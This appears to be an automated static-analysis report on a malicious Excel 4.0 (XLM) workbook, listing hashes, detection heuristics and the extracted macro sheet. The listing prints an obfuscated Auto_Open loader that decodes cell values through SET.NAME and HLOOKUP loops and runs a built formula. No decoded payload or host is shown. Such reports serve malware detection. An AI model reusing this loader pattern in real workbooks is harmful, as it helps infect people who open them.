Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3279136a269dc051…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:45 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: b232bff8407a57f3f99dae9a6301ed8e SHA-1: eb3470263b6a05af938b6862f68f133f8b011b12 SHA-256: 3279136a269dc0519c1968060e3f1e973c6768326099ffc5db4146b6dea000b6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6551 bytes
SHA-256: eb0738a836def8c13d88acd9272ecd4c6eefff238d48da1b1e96091a32cd455c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Vnp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D168 
' 0018     27 LABEL : Cell Value, String Constant - CCWFJCEgfLyh len=0 
' 0018     20 LABEL : Cell Value, String Constant - Dbune len=0 
' 0018     21 LABEL : Cell Value, String Constant - DLCSXm len=0 
' 0018     25 LABEL : Cell Value, String Constant - dRDUJCIQEp len=0 
' 0018     21 LABEL : Cell Value, String Constant - fMOAHk len=0 
' 0018     23 LABEL : Cell Value, String Constant - fRuDMXCm len=0 
' 0018     27 LABEL : Cell Value, String Constant - GuocpietfXLZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - iDnykp len=0 
' 0018     23 LABEL : Cell Value, String Constant - IjDCLKMA len=0 
' 0018     26 LABEL : Cell Value, String Constant - PuDKQjqSAIm len=0 
' 0018     25 LABEL : Cell Value, String Constant - QUCDCpdWfJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - RGNeu len=0 
' 0018     24 LABEL : Cell Value, String Constant - swDYiTYDk len=0 
' 0018     24 LABEL : Cell Value, String Constant - TodIBoxJV len=0 
' 0018     25 LABEL : Cell Value, String Constant - UDpTrFCSFS len=0 
' 0018     20 LABEL : Cell Value, String Constant - unHZS len=0 
' 0018     21 LABEL : Cell Value, String Constant - YkQkzC len=0 
' 0018     20 LABEL : Cell Value, String Constant - yOCNw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZJJFLFGN len=0 
' 0018     27 LABEL : Cell Value, String Constant - zOBkxJitJTJV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Vnp,D83,"SET.NAME("UDpTrFCSFS",0+VALUE("0"))",""
'  Vnp,D87,"SET.NAME("DLCSXm",UDpTrFCSFS)",""
'  Vnp,D90,"SET.NAME("zOBkxJitJTJV",UDpTrFCSFS)",""
'  Vnp,D95,"SET.NAME("fRuDMXCm",COUNTA(CCWFJCEgfLyh))",""
'  Vnp,D97,"SET.NAME("Dbune",COUNTA(YkQkzC))",""
'  Vnp,R98,"",876.00000000000000000000
'  Vnp,R99,"",-783.00000000000000000000
'  Vnp,D100,[],""
'  Vnp,R100,"",275.00000000000000000000
'  Vnp,R101,"",563.00000000000000000000
'  Vnp,R102,"",-497.00000000000000000000
'  Vnp,R103,"",-225.00000000000000000000
'  Vnp,D105,"SET.NAME("fMOAHk","")",""
'  Vnp,D107,"DLCSXm",""
'  Vnp,D110,"SET.NAME("TodIBoxJV",HLOOKUP("*",CCWFJCEgfLyh,DLCSXm,FALSE))",""
'  Vnp,D113,"dRDUJCIQEp",""
'  Vnp,D118,"SET.NAME("QUCDCpdWfJ",UDpTrFCSFS)",""
'  Vnp,D122,[],""
'  Vnp,D125,"QUCDCpdWfJ",""
'  Vnp,D129,"ZJJFLFGN",""
'  Vnp,D133,"iDnykp",""
'  Vnp,D135,"PuDKQjqSAIm",""
'  Vnp,D137,"SET.NAME("unHZS",VALUE(HLOOKUP("*",YkQkzC,PuDKQjqSAIm,FALSE)))",""
'  Vnp,D139,"swDYiTYDk",""
'  Vnp,D141,"fMOAHk",""
'  Vnp,D146,"zOBkxJitJTJV",""
'  Vnp,D148,NEXT(),""
'  Vnp,D150,"IjDCLKMA",""
'  Vnp,D152,[],""
'  Vnp,D157,"yOCNw",""
'  Vnp,D161,NEXT(),""
'  Vnp,D166,RETURN(),""
'  Vnp,D192,"SET.NAME("GuocpietfXLZ",D83)",""
'  Vnp,D197,"CCWFJCEgfLyh",""
'  Vnp,D201,"SET.NAME("YkQkzC",R54C12)",""
'  Vnp,D206,"SET.NAME("yOCNw",215)",""
'  Vnp,D210,"SET.NAME("RGNeu",4)",""
'  Vnp,D214,GuocpietfXLZ(),""
'  Vnp,D215,HALT(),""

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